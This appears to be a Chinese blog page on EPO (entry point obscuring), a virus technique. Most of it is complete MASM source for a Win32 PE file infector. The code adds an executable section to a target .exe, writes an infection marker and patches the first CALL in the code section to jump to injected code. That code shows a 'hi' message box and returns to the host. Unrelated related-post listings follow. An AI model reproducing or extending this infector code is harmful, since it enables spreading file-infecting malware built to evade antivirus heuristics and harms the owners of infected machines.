EPO 技术

XTRA、EPO、SUPL、AGPS区别和使用 XTRA、EPO、SUPL、AGPS 都是与定位相关的技术,它们的区别和使用场景如下: 阅读详情
    EPO是EntryPoint Obscuring技术的简写,意即入口模糊技术,该技术改变了传统的修改PE
头部的入口点,使其指向病毒代码入口而使病毒代码得以执行的典型方法。


.386
.model  flat, stdcall
option  casemap:none
include useful.inc
PEGame SEGMENT
start:
        @pushsz 'e:/test/m.exe'
        call    InfectFile
        Invoke  MessageBox,0,0,0,0   ;用来装载User32,后面用
        ret    
InfectFile PROC FileName : DWORD
       LOCAL   hFile    : DWORD
       LOCAL   hMapping : DWORD
       LOCAL   pMapping : DWORD
       LOCAL   ByteWrite: DWORD
       pushad
       push   NULL
       push   FILE_ATTRIBUTE_NORMAL
       push   OPEN_EXISTING
       push   NULL
       push   FILE_SHARE_READ+FILE_SHARE_WRITE
       push   GENERIC_READ+GENERIC_WRITE
       push   FileName
       call   CreateFile            
       cmp    eax,INVALID_HANDLE_value
       jz     IF_Exit
       mov    hFile,eax
       xor    edi , edi         ;节约空间
       push   edi
       push   edi
       push   edi
       push   PAGE_READWRITE
       push   edi
       push   hFile
       call   CreateFileMapping        
       or     eax,eax
       jz     IF_F3
       mov    hMapping , eax
       push   edi              ;edi=0
       push   edi
       push   edi                  
       push   FILE_MAP_READ+FILE_MAP_WRITE
       push   hMapping
       call   MapViewOfFile                
       or     eax,eax
       jz     IF_F2            
       mov    pMapping,eax            
       mov    esi,eax
       assume esi:ptr IMAGE_DOS_HEADER
       cmp    [esi].e_magic,IMAGE_DOS_SIGNATURE  
       jnz    IF_F1
       cmp    [esi].e_lfarlc,040h  
       jnz    IF_F1
       add    esi,[esi].e_lfanew
       assume esi:ptr IMAGE_NT_HEADERS
       cmp    [esi].Signature,IMAGE_NT_SIGNATURE    ;是PE文件吗?
       jnz    IF_F1
       cmp    [esi].OptionalHeader.Subsystem,2
       jnz    IF_F1          
       cmp    [esi].OptionalHeader.CheckSum,0 ;避免感染!0的文件
       jnz    IF_F1                    ;合法性判断完毕,开始感染
       cmp    word ptr [esi+1ah],0815h ;设置感染标志
       jz     IF_F1
       mov  eax,[esi].OptionalHeader.AddressOfEntryPoint
       add  eax,[esi].OptionalHeader.ImageBase
       mov  HostEntry,eax                    ;保存原入口
       movzx  eax,[esi].FileHeader.NumberOfSections        
       mov    ecx,sizeof IMAGE_SECTION_HEADER
       mul    ecx
       add    eax,sizeof IMAGE_NT_HEADERS                
       add    eax,esi
       mov    edi,eax
       add    eax,sizeof IMAGE_SECTION_HEADER
       sub    eax,pMapping                      
       cmp    eax,[esi].OptionalHeader.SizeOfHeaders
       ja     IF_F1
;*****************************************
;空间允许, ^0^,edi指向新节
;*****************************************
       inc    [esi].FileHeader.NumberOfSections      
       assume edi:ptr IMAGE_SECTION_HEADER        
       mov    dword ptr[edi],'cvc.'         ;Name
       push   VEnd-VStart
       pop    [edi].Misc.VirtualSize        ;VirtualSize
       push   [esi].OptionalHeader.SizeOfImage
       pop    [edi].VirtualAddress         ;VirtualAddress      
       mov    eax,[edi].Misc.VirtualSize
       mov    ecx,[esi].OptionalHeader.FileAlignment
       div    ecx
       inc    eax
       mul    ecx
       mov    [edi].SizeOfRawData,eax        ;SizeOfRawData
       lea    eax,[edi-28h+14h]              ;prev PointerToRawData
       mov    eax,[eax]
       lea    ecx,[edi-28h+10h]              ;prev SizeOfRawData
       add    eax,[ecx]
       mov    [edi].PointerToRawData,eax     ;PointerToRawData
       mov    [edi].Characteristics,0E0000020h  ;可读可写可执行
;***************************************************************
;更新SizeOfImage,使新节可以正确加载并首先执行
;***************************************************************
       mov   eax,[edi].Misc.VirtualSize
       mov   ecx,[esi].OptionalHeader.SectionAlignment
       div   ecx
       inc   eax
       mul   ecx
       add   eax,[esi].OptionalHeader.SizeOfImage
       mov   [esi].OptionalHeader.SizeOfImage,eax
       mov   word ptr [esi+1ah],0815h   ;写入感染标志                
       push   pMapping              ;文件内存映像首地址
       push   esi                    ;esi -> IMAGE_NT_HEADER
       push   edi                    ; edi -> new Section
       call    SimpleEPO  
       @pushsz  'User32.dll'
       call     GetModuleHandle
       @pushsz  'MessageBoxA'
       push     eax
       call     GetProcAddress
       mov      MsgBox,eax          ;得到MessageBoxA的线形地址
       push     FILE_BEGIN
       push     0
       push     [edi].PointerToRawData
       push     hFile
       call     SetFilePointer
;****************************************************************
;设置文件指针到结尾后,写入从VStart开始的代码,大小经过文件对齐
;****************************************************************
       push    0
       lea     eax,ByteWrite
       push    eax
       push    [edi].SizeOfRawData
       push    offset VStart
       push    hFile
       call    WriteFile  
IF_F1:
      push    pMapping
      call    UnmapViewOfFile        
IF_F2:
      push    hMapping
      call    CloseHandle
IF_F3:
      push    hFile
      call    CloseHandle
IF_Exit:
      popad
      ret  4
InfectFile ENDP      
;---------------------------------StartEPO------------------------------
;入口参数: pNewSection  :  新添加节(病毒节)的指针
;           pNTHeader   :  文件IMAGE_NT_HEADER的指针
;           pMapping    :  文件指针
;出口参数: 修改了文件.text节的第一条CALL  XXXXXXXX 指令,跳转到VStart.
;拷贝JMP DWORD PTR [YYYYYYYY]中的YY…到Ret2ApiCall.                    
;--------------------------------------------------------------------------
SimpleEPO   PROC   pNewSection : DWORD ,pNTHeader : DWORD , pMapping : DWORD
        pushad
        mov       edx , pNTHeader
        add       edx , sizeof  IMAGE_NT_HEADERS
        assume    edx : ptr IMAGE_SECTION_HEADER
        mov       ecx , [edx].SizeOfRawData
        mov       edi , [edx].PointerToRawData
        add       edi ,  pMapping       ;Now edi = .text  的在文件中的偏移
@SearchE8:          
         mov      al  , 0e8h
         repne    scasb                ;search for call xxxxxxxx
         mov      esi , edi            ;edi - > xxxxxxxx 而不是 e8 xx xx xx xx.
         lodsd                         ;search call relative
         add      esi , eax            ;esi - > JMP DWORD PTR [YYYYYYYY]
         lodsw
         cmp      ax , 025ffh          ;esi - > YYYYYYYY
         jnz      @SearchE8
PatchCALLandCopyJMP:                                                          
         mov      eax , [edx].VirtualAddress   ;.text VirtualAddress
         add      eax , edi
         sub      eax , pMapping
         sub  eax , [edx].PointerToRawData ;eax contains VA of CALL XXXXXXXX
         add      eax , 4               ;sizeof(CALL xxxxxxxx) – sizeof(0E8h)
         mov      edx , pNewSection
         mov      edx , [edx].VirtualAddress
         xchg     eax , edx
         sub      eax , edx                ;get  new XXXXXXXX
         stosd
         mov     edi , offset Ret2ApiCall    ;write YYYYYYYY
         lodsd
         stosd                  
         popad
         ret     12
SimpleEPO ENDP            
;***************************************************************
;从VStart->VEnd是将插入到e:/test/m.exe的代码
;功能是弹出一个对话框,然后返回原入口执行
;***************************************************************
VStart:
      pushad
      call  gdelta
gdelta:
      pop   ebp
      sub   ebp,offset gdelta
      lea   eax, [ebp+offset s]
      push  0
      push  eax
      push  eax
      push  0        
      mov   eax,12345678h
MsgBox  =    dword ptr $-4
      call  eax      
      popad
      db      0FFh,25h
Ret2ApiCAll:
      dd    0    ; [zzzzzzzz]
s      db    'hi',0      
VEnd:
EPOGame ends
end    start
帝企鹅EPO优化算法原理、测试函数及matlab代码 立即下载

相关推荐

基于Xilinx的I2S Receiver IP核和I2S Transmitter IP核音频验证

基于Xilinx的I2S Receiver IP核和I2S Transmitter IP核音频验证 文章目录前言一、工程构架二、Xilinx IP的配置1.I2S Transmitter IP配置:2.I2S Receiver IP配置:3.WM8960的配置:总结 前言 本实验基于Xilinx ZU4EV平台,也适用于ZYNQ平台。音频验证完成,记录调过程。 ①Xilinx 音频IP只支持主模式,左对齐或右对齐方式,16bit或24bit字长。 ②WM8960器件作为从模式;24bit字长;数据传输格

weixin_45637597的博客 6815

EPO技术简介

 by Hume/CVC.GB 本文首发于2003年第8期《黑客防线》杂志“CVC病毒专栏”1.什么是EPO? EPO是EntryPoint Obscuring技术的简写,意即入口模糊技术,该技术改变了传统的修改PE头部的入口点,使其指向病毒代码入口而使病毒代码得以执行的典型方法。 2.为什么需要EPO?  这要从反病毒技术的发展谈起,随着当今反病毒技术的不断提

要饭's Blog 6138

威联通改装飞牛fnOS全攻略:从刷机到Docker影视部署

NAS系统是家庭数字存储的核心,x86架构的威联通设备凭借通用引导和驱动支持,成为改装替代系统的理想平台。飞牛fnOS作为基于Debian的国产NAS系统,以简洁UI、内置Docker和影视墙以及硬件转码能力,吸引了大量玩家。通过U盘引导安装、BIOS调整、系统盘SSD部署,可实现系统切换;原机械硬盘可挂载为存储池,配合Docker部署下载、远程访问等容器,影视中心自动削刮海报墙,硬件转码保障4K播放。改装过程需注意引导失败、硬盘识别、核显驱动等问题。这套方案能让老旧威联通焕发新生,兼顾易用性与扩展性。本文

weixin_33585822的博客 784

EPO: (入口模糊技术)

;----------------------------------------------------------------------------;EPO: (入口模糊技术);by GriYo / 29A;译:fqh;----------------------------------------------------------------------------为了获取控制权,病毒可

gzfqh的专栏 →底层代码研究 8400

告别乱码!手把手教你用docx4j实现Word转PDF(附完整中文字体配置)

本文详细介绍了如何使用纯Java库docx4j实现Word到PDF的精准转换,并重点解决了中文乱码这一核心痛点。文章提供了从环境搭建、核心代码实现到中文字体配置的完整教程,特别针对Linux服务器部署场景,给出了详细的字体安装与映射方案,确保跨平台转换的稳定性和准确性。

nokia的博客 1153

PaddleOCR 与 PaddleX 调试

本文介绍了PaddleOCR与PaddleX的安装调试过程及应用对比。首先详细说明了环境准备步骤,包括安装ccache、设置环境变量及创建conda虚拟环境,提供了精简安装和源码安装两种方式。接着展示了使用PaddleOCR进行发票和手写汉字识别的测试结果,指出部分手写识别存在误差。随后对比了两者的差异:PaddleOCR专注于OCR算法优化,PaddleX则提供全流程工具链和标准化部署方案。最后演示了如何通过PaddleX部署OCR服务,包括API启动方法和客户端调用示例,为开发者提供了两种不同场景下的O

weixin_42176639的博客 1452

智能优化算法:鹰栖息算法-附代码

智能优化算法:鹰栖息优化算法 文章目录智能优化算法:鹰栖息优化算法1.算法原理2.实验结果3.参考文献4.Matlab代码 摘要:鹰栖息优化算法(eagle perching optimizer,EPO)是于2018年提出的一种新型智能优化算法,该算法主要模拟了老鹰栖息的天性。具有结构简单,速度快的特点。 1.算法原理 在 EPO 算法中,每只鹰的初始位置随机生成,使种群在搜索空间内均匀分布,有利于算法寻优。 x=lb+(ub−lb)∗rand(1) x=lb+(ub-lb)*rand\tag{1} x=l

Jack旭的博客 1800

双相机坐标系标定

工业双相机对位标定

sinat_33762356的博客 8320

【智能算法】帝企鹅优化算法(EPO)原理及实现

EPO模拟了帝企鹅在寒冷冬季的聚集行为,群体通过产生热量来维持温暖。每个帝企鹅个体都会朝着群体中温度较高的方向移动,并寻找到达温度最高处的最优位置。在移动过程中,每个帝企鹅个体会根据自身与最优位置的距离进行调整,并不断更新最优位置,以此实现群体内个体的优化移动和位置更新。其中,P,Pep分别表述最优个体位置和个体当前位置。A,C是避免相邻个体间碰撞的向量参数,S表示帝企鹅群体最优个体方向移动趋势。其中,k为当前迭代次数,R表述个体距离拥挤群体中心的半径。

Logic_9527的博客 2124

LS-DYNA超高速碰撞仿真入门:从SPH算法配置到铝靶板穿孔分析(附K文件模板)

本文详细介绍了使用LS-DYNA中的SPH(光滑粒子流体动力学)算法进行超高速碰撞仿真的完整流程。以铝弹丸撞击铝靶板为例,从SPH算法原理、LS-PrePost前处理、材料模型与状态方程设置,到接触定义、边界条件及K文件生成,提供了系统的入门指导和关键参数调试经验,帮助工程师高效模拟材料破碎、穿孔等极端变形问题。

h0i1j2k3l的博客 735

PCL:读写pcd点云的两种方式

本文介绍了PCL读写点云的两种方式:PCDReader,PCDWriter;loadPCDFile,savePCDFile.

孙悟空 1万+

EPO技术

什么是EPO? EPO是EntryPoint Obscuring技术的简写,意即入口模糊技术,该技术改变了传统的修改PE 头部的入口点,使其指向病毒代码入口而使你的代码得以执行的典型方法。 /* 要插入的反汇编代码thunk code: 00401006    .   60                   PUSHAD 00401007    .   9C

1397

零基础快速学习 ABAP 读者意见反馈和下一步写作计划表

大家在学习教程过程中,如果有任何关于 SAP ABAP 开发方面想了解的内容,可以直接在教程各篇文章下评论留言,我会将大家的意见统一汇总到下面的表格,作为我更新教程的内容参考来源之一。

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 4275

McAfee新版ePO管控台纳入数据保护技术

 McAfee今天(11/8)推出ePO 4.0安全管理控制面板,新版本整合数据遗失保护技术(Data Loss Prevention, DLP)。 ePO中最新加入的DLP技术来自McAfee去年收购的Onigma公司,该技术专门协助企业防止未经授权的数据透过电子邮件、实时通讯、USB等管道外流。企业内部员工可观看数据,但透过文件上的标记,DLP会阻挡文件流出企业,或是纪录文件传输流程。 整合安

tianyu的专栏 - Linux site:blog.youkuaiyun.com/wishfly 1582

NTscan扫描工具

ntscan是一个扫描器,可以扫描没有密码和弱密码的共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。

迈瑞BS系列全自动生化分析仪LIS协议接口手册(内含HL7和ASTM)

迈瑞BS系列全自动生化分析仪LIS协议接口手册,内含HL7和ASTM)

EPO 入口点模糊技术

 为了获得控制权,病毒可以有以下几种修改可执行文件的方法:—修改entry-point(程序入口)字段使之指向病毒代码—在程序代码中插入一个指向病毒代码的跳转指令第一个方法很简单,但是现在几乎所有不错的杀毒软件都会把这样的被感染文件看成是可疑文件。为什么?因为一个程序的入口指针在代码段以外,所以这至少是可疑的。第二种方法要复杂一点儿。病毒可以改写第一个jmp或者call指令使之指向自己。Caban

2466

SIMATIC S7-1200, S7-1500 PID 控制[手册]

SIMATIC S7-1200, S7-1500 PID 控制[手册]

GPS快速定位之----AGPS、EPO

本文主要说明MTK的所提供的的EPO技术 GPS靠卫星信号定位经纬度和高度。民用GPS精度一般在10米到100米之间,更高精度的军用GPS服务不会向中国提供。当前使用GPS定位的主要问题问首次首次定位时间长或难以首次定位,针对此问题市场上主要有AGPS以及EPO等技术进行解决。 1.什么是AGPS? 简单点说,AGPS就是GPS+辅助信息,需要额外的辅助服务器支持。支持AGPS的手机将自身所...

Tim-for-yang 8303

IEM模型,地表粗糙度模拟

利用微波反演土壤水分时候,利用IEM模型可以实现对随机地表的模拟

EPO强化学习优化大语言模型的技术实践

在强化学习领域,策略优化算法是提升模型性能的核心技术。熵正则化作为一种重要的正则化方法,通过调整策略分布的熵值来平衡探索与利用的矛盾。EPO(Entropy-Regularized Policy Optimization)将熵正则化引入策略梯度更新,有效解决了传统方法训练不稳定、奖励稀疏等问题。这项技术在自然语言处理中尤为重要,能显著提升大语言模型(LLM)生成文本的多样性和质量。实际应用表明,在对话系统、文本生成等场景中,EPO可以使模型回复质量提升23%以上,同时降低模式崩溃风险。本文通过具体代码示例和

weixin_30932215的博客 410

Silane-PEG-EPO,环氧基PEG硅烷可以用于生物技术和材料科学领域

Silane-PEG-EPO是一种生物偶联技术成果,它将硅烷的强附着特性、聚乙二醇的高生物相容性与延长循环效应,以及促红细胞生成素的核心功能融合于一体。这种融合分子不仅增强了生物材料在特定环境中的稳定性和持久性,还促进了细胞间的有效交流与功能表达,可以用于生物技术和材料科学领域。0.4k,0.6k,1k,2k,3.4k,5k,10k(可定制)环氧基聚乙二醇硅烷,环氧基PEG硅烷。环氧基聚乙二醇环氧基。环氧基聚乙二醇活性酯。胆固醇聚乙二醇环氧基。环氧基聚乙二醇环氧基。多巴胺聚乙二醇环氧基。

wwh08042的博客 413

EPO技术资收集

http://dudeaap.bokee.com/5535366.html   http://hi.baidu.com/kgdiwss/blog/item/ce21bb1939d7df4543a9aded.html   http://joson-joson.blog.sohu.com/166064894.html   http://blog.youkuaiyun.com/gzfqh/article

LLC 428

Win32下的入口模糊技术

                                                            +---- Win32下的入口模糊技术 ---+              ?        by Benny / 29A       ?               +---------- 译:fqh ----------+                           

gzfqh的专栏 →底层代码研究 6699

GPS 入门 10 ——GPS快速定位之AGPS、EPO

本文主要说明MTK的所提供的的EPO技术 GPS靠卫星信号定位经纬度和高度。民用GPS精度一般在10米到100米之间,更高精度的军用GPS服务不会向中国提供。当前使用GPS定位的主要问题问首次首次定位时间长或难以首次定位,针对此问题市场上主要有AGPS以及EPO等技术进行解决。 1.什么是AGPS? 简单点说,AGPS就是GPS+辅助信息,需要额外的辅助服务器支持。支持AGPS的手机将自身所接入的基站信息通过...

weixin_42887421的博客 5114

病毒分析,病毒原理,ASLR,DEP,EPO

1.病毒分析的基本工具方法 整体的思维:利用一些工具来监控程序调用了哪些API或行为 ~1.对于监控API ~~1.apilog18pub http://www.softpedia.com/get/Programming/Other-Programming-Files/API-Logger.shtml ~~2.Api Monitor x86 x64都有 (强力推荐!!!) ~2.使用行为

zhuhuibeishadiao 2106

EPO+插缝植入用户自定义代码的一种方法

EPO+插缝植入用户自定义代码的一种方法 2008-10-04 19:45 以前听很多人问如何零字节插入,就是在一个pe内写入了我们的代码后,pe文件并不增加大小.可想而知道这种方法的隐蔽性.那么我们怎么才能把一些代码加入pe,而使它的大小不发生改变呢.还好windows的这个格式对齐给我们提供了可能性.pe中的节以一定的基数(也称对齐因数)对齐,而这种对齐导致的最直观

多媒体编程、网络编程、系统编程、网络安全编程、驱动编程 846

修改epo服务器 gps,手机GPS中的设置,EPO是什么意思?

EPO是联发科(MTK)创新出的一种离线GPS辅助定位技术。它可支持最长达30天的GPS卫星轨道预测数据,这些数据可大幅缩短GPS卫星的首次定位时间(TTFF),从而显著地提升用户体验。由于GPS一直在校正过程中,GPS卫星轨道预测数据一个月后就不准确了,需要同步更新,否则启用EPO反而降低GPS定位品质。GPS靠卫星信号定位经纬度和高度。民用GPS精度一般在10米到100米之间,更高精度的军用G...

weixin_35867979的博客 1400

大模型强化学习的熵控制:CE-GPPO、EPO与AsyPPO技术方案对比详解

近期LLM强化学习进展迅速,CE-GPPO、EPO与AsyPPO三篇论文从梯度恢复、时序平滑与非对称critic集成等角度,分别解决熵控难题,共同推动大规模推理模型训练方法革新。

deephub 1170

test

2.为什么需要EPO?   这要从反病毒技术的发展谈起,随着当今反病毒技术的不断提高,启发式查毒,虚拟机执行 等方法广泛被各杀毒厂商采用,这些技术通过判断程序是否具有通常的病毒特征来发现病毒,使得 传统类型病毒即使是新写的病毒也很容易被杀毒软件查出来。然而道高一尺,魔高一丈,为了对抗 启发查毒,聪明Vxer们发明了EPO技术。 要想明白什么是EPO,首先看看启发查毒是如何判断程...

axzp6799的博客 73
上一篇: HOOK专题
下一篇: SEH IN ASM 研究(2)
Matrix_Designer
博客等级 码龄16年 58粉丝 296原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值